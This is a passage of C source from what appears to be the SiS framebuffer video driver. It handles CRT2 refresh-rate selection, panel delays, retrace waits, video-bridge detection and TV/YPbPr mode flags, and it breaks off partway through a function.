*SiS_Pr, unsigned short ModeNo, unsigned short ModeIdIndex, unsigned short RRTI, unsigned short *i) { unsigned short checkmask=0, modeid, infoflag; modeid = SiS_Pr->SiS_RefIndex[RRTI + (*i)].ModeID; if(SiS_Pr->SiS_VBType & VB_SISVB) { if(SiS_Pr->SiS_VBInfo & SetCRT2ToRAMDAC) { checkmask |= SupportRAMDAC2; if(SiS_Pr->ChipType >= SIS_315H) { checkmask |= SupportRAMDAC2_135; if(SiS_Pr->SiS_VBType & VB_SIS30xBLV) { checkmask |= SupportRAMDAC2_162; if(SiS_Pr->SiS_VBType & VB_SISRAMDAC202) { checkmask |= SupportRAMDAC2_202; } } } } else if(SiS_Pr->SiS_VBInfo & (SetCRT2ToLCD | SetCRT2ToLCDA)) { checkmask |= SupportLCD; if(SiS_Pr->ChipType >= SIS_315H) { if(SiS_Pr->SiS_VBType & VB_SISVB) { if((SiS_Pr->SiS_LCDInfo & DontExpandLCD) && (SiS_Pr->SiS_LCDInfo & LCDPass11)) { if(modeid == 0x2e) checkmask |= Support64048060Hz; } } } } else if(SiS_Pr->SiS_VBInfo & SetCRT2ToHiVision) { checkmask |= SupportHiVision; } else if(SiS_Pr->SiS_VBInfo & (SetCRT2ToYPbPr525750|SetCRT2ToAVIDEO|SetCRT2ToSVIDEO|SetCRT2ToSCART)) { checkmask |= SupportTV; if(SiS_Pr->SiS_VBType & VB_SIS30xBLV) { checkmask |= SupportTV1024; if(SiS_Pr->SiS_VBInfo & SetCRT2ToYPbPr525750) { if(SiS_Pr->SiS_TVMode & TVSetYPbPr750p) { checkmask |= SupportYPbPr750p; } } } } } else { /* LVDS */ if(SiS_Pr->SiS_IF_DEF_CH70xx != 0) { if(SiS_Pr->SiS_VBInfo & SetCRT2ToTV) { checkmask |= SupportCHTV; } } if(SiS_Pr->SiS_VBInfo & SetCRT2ToLCD) { checkmask |= SupportLCD; } } /* Look backwards in table for matching CRT2 mode */ for(; SiS_Pr->SiS_RefIndex[RRTI + (*i)].ModeID == modeid; (*i)--) { infoflag = SiS_Pr->SiS_RefIndex[RRTI + (*i)].Ext_InfoFlag; if(infoflag & checkmask) return true; if((*i) == 0) break; } /* Look through the whole mode-section of the table from the beginning * for a matching CRT2 mode if no mode was found yet. */ for((*i) = 0; ; (*i)++) { if(SiS_Pr->SiS_RefIndex[RRTI + (*i)].ModeID != modeid) break; infoflag = SiS_Pr->SiS_RefIndex[RRTI + (*i)].Ext_InfoFlag; if(infoflag & checkmask) return true; } return false; } /*********************************************/ /* Get rate index */ /*********************************************/ unsigned short SiS_GetRatePtr(struct SiS_Private *SiS_Pr, unsigned short ModeNo, unsigned short ModeIdIndex) { unsigned short RRTI,i,backup_i; unsigned short modeflag,index,temp,backupindex; static const unsigned short LCDRefreshIndex[] = { 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00 }; /* Do NOT check for UseCustomMode here, will skrew up FIFO */ if(ModeNo == 0xfe) return 0; if(ModeNo <= 0x13) { modeflag = SiS_Pr->SiS_SModeIDTable[ModeIdIndex].St_ModeFlag; } else { modeflag = SiS_Pr->SiS_EModeIDTable[ModeIdIndex].Ext_ModeFlag; } if(SiS_Pr->SiS_IF_DEF_CH70xx != 0) { if(SiS_Pr->SiS_VBInfo & SetCRT2ToTV) { if(modeflag & HalfDCLK) return 0; } } if(ModeNo < 0x14) return 0xFFFF; index = (SiS_GetReg(SiS_Pr->SiS_P3d4,0x33) >> SiS_Pr->SiS_SelectCRT2Rate) & 0x0F; backupindex = index; if(index > 0) index--; if(SiS_Pr->SiS_SetFlag & ProgrammingCRT2) { if(SiS_Pr->SiS_VBType & VB_SISVB) { if(SiS_Pr->SiS_VBInfo & SetCRT2ToLCD) { if(SiS_Pr->SiS_VBType & VB_NoLCD) index = 0; else if(SiS_Pr->SiS_LCDInfo & DontExpandLCD) index = backupindex = 0; } if(SiS_Pr->SiS_VBInfo & (SetCRT2ToLCD | SetCRT2ToLCDA)) { if(!(SiS_Pr->SiS_VBType & VB_NoLCD)) { temp = LCDRefreshIndex[SiS_GetBIOSLCDResInfo(SiS_Pr)]; if(index > temp) index = temp; } } } else { if(SiS_Pr->SiS_VBInfo & (SetCRT2ToLCD | SetCRT2ToLCDA)) index = 0; if(SiS_Pr->SiS_IF_DEF_CH70xx != 0) { if(SiS_Pr->SiS_VBInfo & SetCRT2ToTV) index = 0; } } } RRTI = SiS_Pr->SiS_EModeIDTable[ModeIdIndex].REFindex; ModeNo = SiS_Pr->SiS_RefIndex[RRTI].ModeID; if(SiS_Pr->ChipType >= SIS_315H) { if(!(SiS_Pr->SiS_VBInfo & DriverMode)) { if( (SiS_Pr->SiS_EModeIDTable[ModeIdIndex].Ext_VESAID == 0x105) || (SiS_Pr->SiS_EModeIDTable[ModeIdIndex].Ext_VESAID == 0x107) ) { if(backupindex <= 1) RRTI++; } } } i = 0; do { if(SiS_Pr->SiS_RefIndex[RRTI + i].ModeID != ModeNo) break; temp = SiS_Pr->SiS_RefIndex[RRTI + i].Ext_InfoFlag; temp &= ModeTypeMask; if(temp < SiS_Pr->SiS_ModeType) break; i++; index--; } while(index != 0xFFFF); if(!(SiS_Pr->SiS_VBInfo & SetCRT2ToRAMDAC)) { if(SiS_Pr->SiS_VBInfo & SetInSlaveMode) { temp = SiS_Pr->SiS_RefIndex[RRTI + i - 1].Ext_InfoFlag; if(temp & InterlaceMode) i++; } } i--; if((SiS_Pr->SiS_SetFlag & ProgrammingCRT2) && (!(SiS_Pr->SiS_VBInfo & DisableCRT2Display))) { backup_i = i; if(!(SiS_AdjustCRT2Rate(SiS_Pr, ModeNo, ModeIdIndex, RRTI, &i))) { i = backup_i; } } return (RRTI + i); } /*********************************************/ /* STORE CRT2 INFO in CR34 */ /*********************************************/ static void SiS_SaveCRT2Info(struct SiS_Private *SiS_Pr, unsigned short ModeNo) { unsigned short temp1, temp2; /* Store CRT1 ModeNo in CR34 */ SiS_SetReg(SiS_Pr->SiS_P3d4,0x34,ModeNo); temp1 = (SiS_Pr->SiS_VBInfo & SetInSlaveMode) >> 8; temp2 = ~(SetInSlaveMode >> 8); SiS_SetRegANDOR(SiS_Pr->SiS_P3d4,0x31,temp2,temp1); } /*********************************************/ /* HELPER: GET SOME DATA FROM BIOS ROM */ /*********************************************/ #ifdef CONFIG_FB_SIS_300 static bool SiS_CR36BIOSWord23b(struct SiS_Private *SiS_Pr) { unsigned char *ROMAddr = SiS_Pr->VirtualRomBase; unsigned short temp,temp1; if(SiS_Pr->SiS_UseROM) { if((ROMAddr[0x233] == 0x12) && (ROMAddr[0x234] == 0x34)) { temp = 1 << ((SiS_GetReg(SiS_Pr->SiS_P3d4,0x36) >> 4) & 0x0f); temp1 = SISGETROMW(0x23b); if(temp1 & temp) return true; } } return false; } static bool SiS_CR36BIOSWord23d(struct SiS_Private *SiS_Pr) { unsigned char *ROMAddr = SiS_Pr->VirtualRomBase; unsigned short temp,temp1; if(SiS_Pr->SiS_UseROM) { if((ROMAddr[0x233] == 0x12) && (ROMAddr[0x234] == 0x34)) { temp = 1 << ((SiS_GetReg(SiS_Pr->SiS_P3d4,0x36) >> 4) & 0x0f); temp1 = SISGETROMW(0x23d); if(temp1 & temp) return true; } } return false; } #endif /*********************************************/ /* HELPER: DELAY FUNCTIONS */ /*********************************************/ void SiS_DDC2Delay(struct SiS_Private *SiS_Pr, unsigned int delaytime) { while (delaytime-- > 0) SiS_GetReg(SiS_Pr->SiS_P3c4, 0x05); } #if defined(CONFIG_FB_SIS_300) || defined(CONFIG_FB_SIS_315) static void SiS_GenericDelay(struct SiS_Private *SiS_Pr, unsigned short delay) { SiS_DDC2Delay(SiS_Pr, delay * 36); } #endif #ifdef CONFIG_FB_SIS_315 static void SiS_LongDelay(struct SiS_Private *SiS_Pr, unsigned short delay) { while(delay--) { SiS_GenericDelay(SiS_Pr, 6623); } } #endif #if defined(CONFIG_FB_SIS_300) || defined(CONFIG_FB_SIS_315) static void SiS_ShortDelay(struct SiS_Private *SiS_Pr, unsigned short delay) { while(delay--) { SiS_GenericDelay(SiS_Pr, 66); } } #endif static void SiS_PanelDelay(struct SiS_Private *SiS_Pr, unsigned short DelayTime) { #if defined(CONFIG_FB_SIS_300) || defined(CONFIG_FB_SIS_315) unsigned char *ROMAddr = SiS_Pr->VirtualRomBase; unsigned short PanelID, DelayIndex, Delay=0; #endif if(SiS_Pr->ChipType < SIS_315H) { #ifdef CONFIG_FB_SIS_300 PanelID = SiS_GetReg(SiS_Pr->SiS_P3d4,0x36); if(SiS_Pr->SiS_VBType & VB_SISVB) { if(SiS_Pr->SiS_VBType & VB_SIS301) PanelID &= 0xf7; if(!(SiS_GetReg(SiS_Pr->SiS_P3c4,0x18) & 0x10)) PanelID = 0x12; } DelayIndex = PanelID >> 4; if((DelayTime >= 2) && ((PanelID & 0x0f) == 1)) { Delay = 3; } else { if(DelayTime >= 2) DelayTime -= 2; if(!(DelayTime & 0x01)) { Delay = SiS_Pr->SiS_PanelDelayTbl[DelayIndex].timer[0]; } else { Delay = SiS_Pr->SiS_PanelDelayTbl[DelayIndex].timer[1]; } if(SiS_Pr->SiS_UseROM) { if(ROMAddr[0x220] & 0x40) { if(!(DelayTime & 0x01)) Delay = (unsigned short)ROMAddr[0x225]; else Delay = (unsigned short)ROMAddr[0x226]; } } } SiS_ShortDelay(SiS_Pr, Delay); #endif /* CONFIG_FB_SIS_300 */ } else { #ifdef CONFIG_FB_SIS_315 if((SiS_Pr->ChipType >= SIS_661) || (SiS_Pr->ChipType <= SIS_315PRO) || (SiS_Pr->ChipType == SIS_330) || (SiS_Pr->SiS_ROMNew)) { if(!(DelayTime & 0x01)) { SiS_DDC2Delay(SiS_Pr, 0x1000); } else { SiS_DDC2Delay(SiS_Pr, 0x4000); } } else if (SiS_Pr->SiS_IF_DEF_LVDS == 1) { /* 315 series, LVDS; Special */ if(SiS_Pr->SiS_IF_DEF_CH70xx == 0) { PanelID = SiS_GetReg(SiS_Pr->SiS_P3d4,0x36); if(SiS_Pr->SiS_CustomT == CUT_CLEVO1400) { if(!(SiS_GetReg(SiS_Pr->SiS_P3c4,0x1b) & 0x10)) PanelID = 0x12; } if(SiS_Pr->SiS_CustomT == CUT_COMPAQ1280) { DelayIndex = PanelID & 0x0f; } else { DelayIndex = PanelID >> 4; } if((DelayTime >= 2) && ((PanelID & 0x0f) == 1)) { Delay = 3; } else { if(DelayTime >= 2) DelayTime -= 2; if(!(DelayTime & 0x01)) { Delay = SiS_Pr->SiS_PanelDelayTblLVDS[DelayIndex].timer[0]; } else { Delay = SiS_Pr->SiS_PanelDelayTblLVDS[DelayIndex].timer[1]; } if((SiS_Pr->SiS_UseROM) && (!(SiS_Pr->SiS_ROMNew))) { if(ROMAddr[0x13c] & 0x40) { if(!(DelayTime & 0x01)) { Delay = (unsigned short)ROMAddr[0x17e]; } else { Delay = (unsigned short)ROMAddr[0x17f]; } } } } SiS_ShortDelay(SiS_Pr, Delay); } } else if(SiS_Pr->SiS_VBType & VB_SISVB) { /* 315 series, all bridges */ DelayIndex = SiS_GetReg(SiS_Pr->SiS_P3d4,0x36) >> 4; if(!(DelayTime & 0x01)) { Delay = SiS_Pr->SiS_PanelDelayTbl[DelayIndex].timer[0]; } else { Delay = SiS_Pr->SiS_PanelDelayTbl[DelayIndex].timer[1]; } Delay <<= 8; SiS_DDC2Delay(SiS_Pr, Delay); } #endif /* CONFIG_FB_SIS_315 */ } } #ifdef CONFIG_FB_SIS_315 static void SiS_PanelDelayLoop(struct SiS_Private *SiS_Pr, unsigned short DelayTime, unsigned short DelayLoop) { int i; for(i = 0; i < DelayLoop; i++) { SiS_PanelDelay(SiS_Pr, DelayTime); } } #endif /*********************************************/ /* HELPER: WAIT-FOR-RETRACE FUNCTIONS */ /*********************************************/ void SiS_WaitRetrace1(struct SiS_Private *SiS_Pr) { unsigned short watchdog; if(SiS_GetReg(SiS_Pr->SiS_P3c4,0x1f) & 0xc0) return; if(!(SiS_GetReg(SiS_Pr->SiS_P3d4,0x17) & 0x80)) return; watchdog = 65535; while((SiS_GetRegByte(SiS_Pr->SiS_P3da) & 0x08) && --watchdog); watchdog = 65535; while((!(SiS_GetRegByte(SiS_Pr->SiS_P3da) & 0x08)) && --watchdog); } #if defined(CONFIG_FB_SIS_300) || defined(CONFIG_FB_SIS_315) static void SiS_WaitRetrace2(struct SiS_Private *SiS_Pr, unsigned short reg) { unsigned short watchdog; watchdog = 65535; while((SiS_GetReg(SiS_Pr->SiS_Part1Port,reg) & 0x02) && --watchdog); watchdog = 65535; while((!(SiS_GetReg(SiS_Pr->SiS_Part1Port,reg) & 0x02)) && --watchdog); } #endif static void SiS_WaitVBRetrace(struct SiS_Private *SiS_Pr) { if(SiS_Pr->ChipType < SIS_315H) { #ifdef CONFIG_FB_SIS_300 if(SiS_Pr->SiS_VBType & VB_SIS30xBLV) { if(!(SiS_GetReg(SiS_Pr->SiS_Part1Port,0x00) & 0x20)) return; } if(!(SiS_GetReg(SiS_Pr->SiS_Part1Port,0x00) & 0x80)) { SiS_WaitRetrace1(SiS_Pr); } else { SiS_WaitRetrace2(SiS_Pr, 0x25); } #endif } else { #ifdef CONFIG_FB_SIS_315 if(!(SiS_GetReg(SiS_Pr->SiS_Part1Port,0x00) & 0x40)) { SiS_WaitRetrace1(SiS_Pr); } else { SiS_WaitRetrace2(SiS_Pr, 0x30); } #endif } } static void SiS_VBWait(struct SiS_Private *SiS_Pr) { unsigned short tempal,temp,i,j; temp = 0; for(i = 0; i < 3; i++) { for(j = 0; j < 100; j++) { tempal = SiS_GetRegByte(SiS_Pr->SiS_P3da); if(temp & 0x01) { if((tempal & 0x08)) continue; else break; } else { if(!(tempal & 0x08)) continue; else break; } } temp ^= 0x01; } } static void SiS_VBLongWait(struct SiS_Private *SiS_Pr) { if(SiS_Pr->SiS_VBInfo & SetCRT2ToTV) { SiS_VBWait(SiS_Pr); } else { SiS_WaitRetrace1(SiS_Pr); } } /*********************************************/ /* HELPER: MISC */ /*********************************************/ #ifdef CONFIG_FB_SIS_300 static bool SiS_Is301B(struct SiS_Private *SiS_Pr) { if(SiS_GetReg(SiS_Pr->SiS_Part4Port,0x01) >= 0xb0) return true; return false; } #endif static bool SiS_CRT2IsLCD(struct SiS_Private *SiS_Pr) { if(SiS_Pr->ChipType == SIS_730) { if(SiS_GetReg(SiS_Pr->SiS_P3c4,0x13) & 0x20) return true; } if(SiS_GetReg(SiS_Pr->SiS_P3d4,0x30) & 0x20) return true; return false; } bool SiS_IsDualEdge(struct SiS_Private *SiS_Pr) { #ifdef CONFIG_FB_SIS_315 if(SiS_Pr->ChipType >= SIS_315H) { if((SiS_Pr->ChipType != SIS_650) || (SiS_GetReg(SiS_Pr->SiS_P3d4,0x5f) & 0xf0)) { if(SiS_GetReg(SiS_Pr->SiS_P3d4,0x38) & EnableDualEdge) return true; } } #endif return false; } bool SiS_IsVAMode(struct SiS_Private *SiS_Pr) { #ifdef CONFIG_FB_SIS_315 unsigned short flag; if(SiS_Pr->ChipType >= SIS_315H) { flag = SiS_GetReg(SiS_Pr->SiS_P3d4,0x38); if((flag & EnableDualEdge) && (flag & SetToLCDA)) return true; } #endif return false; } #ifdef CONFIG_FB_SIS_315 static bool SiS_IsVAorLCD(struct SiS_Private *SiS_Pr) { if(SiS_IsVAMode(SiS_Pr)) return true; if(SiS_CRT2IsLCD(SiS_Pr)) return true; return false; } #endif static bool SiS_IsDualLink(struct SiS_Private *SiS_Pr) { #ifdef CONFIG_FB_SIS_315 if(SiS_Pr->ChipType >= SIS_315H) { if((SiS_CRT2IsLCD(SiS_Pr)) || (SiS_IsVAMode(SiS_Pr))) { if(SiS_Pr->SiS_LCDInfo & LCDDualLink) return true; } } #endif return false; } #ifdef CONFIG_FB_SIS_315 static bool SiS_TVEnabled(struct SiS_Private *SiS_Pr) { if((SiS_GetReg(SiS_Pr->SiS_Part2Port,0x00) & 0x0f) != 0x0c) return true; if(SiS_Pr->SiS_VBType & VB_SISYPBPR) { if(SiS_GetReg(SiS_Pr->SiS_Part2Port,0x4d) & 0x10) return true; } return false; } #endif #ifdef CONFIG_FB_SIS_315 static bool SiS_LCDAEnabled(struct SiS_Private *SiS_Pr) { if(SiS_GetReg(SiS_Pr->SiS_Part1Port,0x13) & 0x04) return true; return false; } #endif #ifdef CONFIG_FB_SIS_315 static bool SiS_WeHaveBacklightCtrl(struct SiS_Private *SiS_Pr) { if((SiS_Pr->ChipType >= SIS_315H) && (SiS_Pr->ChipType < SIS_661)) { if(SiS_GetReg(SiS_Pr->SiS_P3d4,0x79) & 0x10) return true; } return false; } #endif #ifdef CONFIG_FB_SIS_315 static bool SiS_IsNotM650orLater(struct SiS_Private *SiS_Pr) { unsigned short flag; if(SiS_Pr->ChipType == SIS_650) { flag = SiS_GetReg(SiS_Pr->SiS_P3d4,0x5f) & 0xf0; /* Check for revision != A0 only */ if((flag == 0xe0) || (flag == 0xc0) || (flag == 0xb0) || (flag == 0x90)) return false; } else if(SiS_Pr->ChipType >= SIS_661) return false; return true; } #endif #ifdef CONFIG_FB_SIS_315 static bool SiS_IsYPbPr(struct SiS_Private *SiS_Pr) { if(SiS_Pr->ChipType >= SIS_315H) { /* YPrPb = 0x08 */ if(SiS_GetReg(SiS_Pr->SiS_P3d4,0x38) & EnableCHYPbPr) return true; } return false; } #endif #ifdef CONFIG_FB_SIS_315 static bool SiS_IsChScart(struct SiS_Private *SiS_Pr) { if(SiS_Pr->ChipType >= SIS_315H) { /* Scart = 0x04 */ if(SiS_GetReg(SiS_Pr->SiS_P3d4,0x38) & EnableCHScart) return true; } return false; } #endif #ifdef CONFIG_FB_SIS_315 static bool SiS_IsTVOrYPbPrOrScart(struct SiS_Private *SiS_Pr) { unsigned short flag; if(SiS_Pr->ChipType >= SIS_315H) { flag = SiS_GetReg(SiS_Pr->SiS_P3d4,0x30); if(flag & SetCRT2ToTV) return true; flag = SiS_GetReg(SiS_Pr->SiS_P3d4,0x38); if(flag & EnableCHYPbPr) return true; /* = YPrPb = 0x08 */ if(flag & EnableCHScart) return true; /* = Scart = 0x04 - TW */ } else { flag = SiS_GetReg(SiS_Pr->SiS_P3d4,0x30); if(flag & SetCRT2ToTV) return true; } return false; } #endif #ifdef CONFIG_FB_SIS_315 static bool SiS_IsLCDOrLCDA(struct SiS_Private *SiS_Pr) { unsigned short flag; if(SiS_Pr->ChipType >= SIS_315H) { flag = SiS_GetReg(SiS_Pr->SiS_P3d4,0x30); if(flag & SetCRT2ToLCD) return true; flag = SiS_GetReg(SiS_Pr->SiS_P3d4,0x38); if(flag & SetToLCDA) return true; } else { flag = SiS_GetReg(SiS_Pr->SiS_P3d4,0x30); if(flag & SetCRT2ToLCD) return true; } return false; } #endif static bool SiS_HaveBridge(struct SiS_Private *SiS_Pr) { unsigned short flag; if(SiS_Pr->SiS_IF_DEF_LVDS == 1) { return true; } else if(SiS_Pr->SiS_VBType & VB_SISVB) { flag = SiS_GetReg(SiS_Pr->SiS_Part4Port,0x00); if((flag == 1) || (flag == 2)) return true; } return false; } static bool SiS_BridgeIsEnabled(struct SiS_Private *SiS_Pr) { unsigned short flag; if(SiS_HaveBridge(SiS_Pr)) { flag = SiS_GetReg(SiS_Pr->SiS_Part1Port,0x00); if(SiS_Pr->ChipType < SIS_315H) { flag &= 0xa0; if((flag == 0x80) || (flag == 0x20)) return true; } else { flag &= 0x50; if((flag == 0x40) || (flag == 0x10)) return true; } } return false; } static bool SiS_BridgeInSlavemode(struct SiS_Private *SiS_Pr) { unsigned short flag1; flag1 = SiS_GetReg(SiS_Pr->SiS_P3d4,0x31); if(flag1 & (SetInSlaveMode >> 8)) return true; return false; } /*********************************************/ /* GET VIDEO BRIDGE CONFIG INFO */ /*********************************************/ /* Setup general purpose IO for Chrontel communication */ #ifdef CONFIG_FB_SIS_300 void SiS_SetChrontelGPIO(struct SiS_Private *SiS_Pr, unsigned short myvbinfo) { unsigned int acpibase; unsigned short temp; if(!(SiS_Pr->SiS_ChSW)) return; acpibase = sisfb_read_lpc_pci_dword(SiS_Pr, 0x74); acpibase &= 0xFFFF; if(!acpibase) return; temp = SiS_GetRegShort((acpibase + 0x3c)); /* ACPI register 0x3c: GP Event 1 I/O mode select */ temp &= 0xFEFF; SiS_SetRegShort((acpibase + 0x3c), temp); temp = SiS_GetRegShort((acpibase + 0x3c)); temp = SiS_GetRegShort((acpibase + 0x3a)); /* ACPI register 0x3a: GP Pin Level (low/high) */ temp &= 0xFEFF; if(!(myvbinfo & SetCRT2ToTV)) temp |= 0x0100; SiS_SetRegShort((acpibase + 0x3a), temp); temp = SiS_GetRegShort((acpibase + 0x3a)); } #endif void SiS_GetVBInfo(struct SiS_Private *SiS_Pr, unsigned short ModeNo, unsigned short ModeIdIndex, int checkcrt2mode) { unsigned short tempax, tempbx, temp; unsigned short modeflag, resinfo = 0; SiS_Pr->SiS_SetFlag = 0; modeflag = SiS_GetModeFlag(SiS_Pr, ModeNo, ModeIdIndex); SiS_Pr->SiS_ModeType = modeflag & ModeTypeMask; if((ModeNo > 0x13) && (!SiS_Pr->UseCustomMode)) { resinfo = SiS_Pr->SiS_EModeIDTable[ModeIdIndex].Ext_RESINFO; } tempbx = 0; if(SiS_HaveBridge(SiS_Pr)) { temp = SiS_GetReg(SiS_Pr->SiS_P3d4,0x30); tempbx |= temp; tempax = SiS_GetReg(SiS_Pr->SiS_P3d4,0x31) << 8; tempax &= (DriverMode | LoadDACFlag | SetNotSimuMode | SetPALTV); tempbx |= tempax; #ifdef CONFIG_FB_SIS_315 if(SiS_Pr->ChipType >= SIS_315H) { if(SiS_Pr->SiS_VBType & VB_SISLCDA) { if(ModeNo == 0x03) { /* Mode 0x03 is never in driver mode */ SiS_SetRegAND(SiS_Pr->SiS_P3d4,0x31,0xbf); } if(!(SiS_GetReg(SiS_Pr->SiS_P3d4,0x31) & (DriverMode >> 8))) { /* Reset LCDA setting if not driver mode */ SiS_SetRegAND(SiS_Pr->SiS_P3d4,0x38,0xfc); } if(IS_SIS650) { if(SiS_Pr->SiS_UseLCDA) { if(SiS_GetReg(SiS_Pr->SiS_P3d4,0x5f) & 0xF0) { if((ModeNo <= 0x13) || (!(SiS_GetReg(SiS_Pr->SiS_P3d4,0x31) & (DriverMode >> 8)))) { SiS_SetRegOR(SiS_Pr->SiS_P3d4,0x38,(EnableDualEdge | SetToLCDA)); } } } } temp = SiS_GetReg(SiS_Pr->SiS_P3d4,0x38); if((temp & (EnableDualEdge | SetToLCDA)) == (EnableDualEdge | SetToLCDA)) { tempbx |= SetCRT2ToLCDA; } } if(SiS_Pr->ChipType >= SIS_661) { /* New CR layout */ tempbx &= ~(SetCRT2ToYPbPr525750 | SetCRT2ToHiVision); if(SiS_GetReg(SiS_Pr->SiS_P3d4,0x38) & 0x04) { temp = SiS_GetReg(SiS_Pr->SiS_P3d4,0x35) & 0xe0; if(temp == 0x60) tempbx |= SetCRT2ToHiVision; else if(SiS_Pr->SiS_VBType & VB_SISYPBPR) { tempbx |= SetCRT2ToYPbPr525750; } } } if(SiS_Pr->SiS_IF_DEF_LVDS == 1) { temp = SiS_GetReg(SiS_Pr->SiS_P3d4,0x38); if(temp & SetToLCDA) { tempbx |= SetCRT2ToLCDA; } if(SiS_Pr->SiS_IF_DEF_CH70xx != 0) { if(temp & EnableCHYPbPr) { tempbx |= SetCRT2ToCHYPbPr; } } } } #endif /* CONFIG_FB_SIS_315 */ if(!(SiS_Pr->SiS_VBType & VB_SISVGA2)) { tempbx &= ~(SetCRT2ToRAMDAC); } if(SiS_Pr->SiS_VBType & VB_SISVB) { temp = SetCRT2ToSVIDEO | SetCRT2ToAVIDEO | SetCRT2ToSCART | SetCRT2ToLCDA | SetCRT2ToLCD | SetCRT2ToRAMDAC | SetCRT2ToHiVision | SetCRT2ToYPbPr525750; } else { if(SiS_Pr->ChipType >= SIS_315H) { if(SiS_Pr->SiS_IF_DEF_CH70xx != 0) { temp = SetCRT2ToAVIDEO | SetCRT2ToSVIDEO | SetCRT2ToSCART | SetCRT2ToLCDA | SetCRT2ToLCD | SetCRT2ToCHYPbPr; } else { temp = SetCRT2ToLCDA | SetCRT2ToLCD; } } else { if(SiS_Pr->SiS_IF_DEF_CH70xx != 0) { temp = SetCRT2ToTV | SetCRT2ToLCD; } else { temp = SetCRT2ToLCD; } } } if(!(tempbx & temp)) { tempax = DisableCRT2Display; tempbx = 0; } if(SiS_Pr->SiS_VBType & VB_SISVB) { unsigned short clearmask = ( DriverMode | DisableCRT2Display | LoadDACFlag | SetNotSimuMode | SetInSlaveMode | SetPALTV | SwitchCRT2 | SetSimuScanMode ); if(tempbx & SetCRT2ToLCDA) tempbx &= (clearmask | SetCRT2ToLCDA); if(tempbx & SetCRT2ToRAMDAC) tempbx &= (clearmask | SetCRT2ToRAMDAC); if(tempbx & SetCRT2ToLCD) tempbx &= (clearmask | SetCRT2ToLCD); if(tempbx & SetCRT2ToSCART) tempbx &= (clearmask | SetCRT2ToSCART); if(tempbx & SetCRT2ToHiVision) tempbx &= (clearmask | SetCRT2ToHiVision); if(tempbx & SetCRT2ToYPbPr525750) tempbx &= (clearmask | SetCRT2ToYPbPr525750); } else { if(SiS_Pr->ChipType >= SIS_315H) { if(tempbx & SetCRT2ToLCDA) { tempbx &= (0xFF00|SwitchCRT2|SetSimuScanMode); } } if(SiS_Pr->SiS_IF_DEF_CH70xx != 0) { if(tempbx & SetCRT2ToTV) { tempbx &= (0xFF00|SetCRT2ToTV|SwitchCRT2|SetSimuScanMode); } } if(tempbx & SetCRT2ToLCD) { tempbx &= (0xFF00|SetCRT2ToLCD|SwitchCRT2|SetSimuScanMode); } if(SiS_Pr->ChipType >= SIS_315H) { if(tempbx & SetCRT2ToLCDA) { tempbx |= SetCRT2ToLCD; } } } if(tempax & DisableCRT2Display) { if(!(tempbx & (SwitchCRT2 | SetSimuScanMode))) { tempbx = SetSimuScanMode | DisableCRT2Display; } } if(!(tempbx & DriverMode)) tempbx |= SetSimuScanMode; /* LVDS/CHRONTEL (LCD/TV) and 301BDH (LCD) can only be slave in 8bpp modes */ if(SiS_Pr->SiS_ModeType <= ModeVGA) { if( (SiS_Pr->SiS_IF_DEF_LVDS == 1) || ((SiS_Pr->SiS_VBType & VB_NoLCD) && (tempbx & SetCRT2ToLCD)) ) { modeflag &= (~CRT2Mode); } } if(!(tempbx & SetSimuScanMode)) { if(tempbx & SwitchCRT2) { if((!(modeflag & CRT2Mode)) && (checkcrt2mode)) { if(resinfo != SIS_RI_1600x1200) { tempbx |= SetSimuScanMode; } } } else { if(SiS_BridgeIsEnabled(SiS_Pr)) { if(!(tempbx & DriverMode)) { if(SiS_BridgeInSlavemode(SiS_Pr)) { tempbx |= SetSimuScanMode; } } } } } if(!(tempbx & DisableCRT2Display)) { if(tempbx & DriverMode) { if(tempbx & SetSimuScanMode) { if((!(modeflag & CRT2Mode)) && (checkcrt2mode)) { if(resinfo != SIS_RI_1600x1200) { tempbx |= SetInSlaveMode; } } } } else { tempbx |= SetInSlaveMode; } } } SiS_Pr->SiS_VBInfo = tempbx; #ifdef CONFIG_FB_SIS_300 if(SiS_Pr->ChipType == SIS_630) { SiS_SetChrontelGPIO(SiS_Pr, SiS_Pr->SiS_VBInfo); } #endif #if 0 printk(KERN_DEBUG "sisfb: (init301: VBInfo= 0x%04x, SetFlag=0x%04x)\n", SiS_Pr->SiS_VBInfo, SiS_Pr->SiS_SetFlag); #endif } /*********************************************/ /* DETERMINE YPbPr MODE */ /*********************************************/ void SiS_SetYPbPr(struct SiS_Private *SiS_Pr) { unsigned char temp; /* Note: This variable is only used on 30xLV systems. * CR38 has a different meaning on LVDS/CH7019 systems. * On 661 and later, these bits moved to CR35. * * On 301, 301B, only HiVision 1080i is supported. * On 30xLV, 301C, only YPbPr 1080i is supported. */ SiS_Pr->SiS_YPbPr = 0; if(SiS_Pr->ChipType >= SIS_661) return; if(SiS_Pr->SiS_VBType) { if(SiS_Pr->SiS_VBInfo & SetCRT2ToHiVision) { SiS_Pr->SiS_YPbPr = YPbPrHiVision; } } if(SiS_Pr->ChipType >= SIS_315H) { if(SiS_Pr->SiS_VBType & VB_SISYPBPR) { temp = SiS_GetReg(SiS_Pr->SiS_P3d4,0x38); if(temp & 0x08) { switch((temp >> 4)) { case 0x00: SiS_Pr->SiS_YPbPr = YPbPr525i; break; case 0x01: SiS_Pr->SiS_YPbPr = YPbPr525p; break; case 0x02: SiS_Pr->SiS_YPbPr = YPbPr750p; break; case 0x03: SiS_Pr->SiS_YPbPr = YPbPrHiVision; break; } } } } } /*********************************************/ /* DETERMINE TVMode flag */ /*********************************************/ void SiS_SetTVMode(struct SiS_Private *SiS_Pr, unsigned short ModeNo, unsigned short ModeIdIndex) { unsigned char *ROMAddr = SiS_Pr->VirtualRomBase; unsigned short temp, temp1, resinfo = 0, romindex = 0; unsigned char OutputSelect = *SiS_Pr->pSiS_OutputSelect; SiS_Pr->SiS_TVMode = 0; if(!(SiS_Pr->SiS_VBInfo & SetCRT2ToTV)) return; if(SiS_Pr->UseCustomMode) return; if(ModeNo > 0x13) { resinfo = SiS_Pr->SiS_EModeIDTable[ModeIdIndex].Ext_RESINFO; } if(SiS_Pr->ChipType < SIS_661) { if(SiS_Pr->SiS_VBInfo & SetPALTV) SiS_Pr->SiS_TVMode |= TVSetPAL; if(SiS_Pr->SiS_VBType & VB_SISVB) { temp = 0; if((SiS_Pr->ChipType == SIS_630) || (SiS_Pr->ChipType == SIS_730)) { temp = 0x35; romindex = 0xfe; } else if(SiS_Pr->ChipType >= SIS_315H) { temp = 0x38; 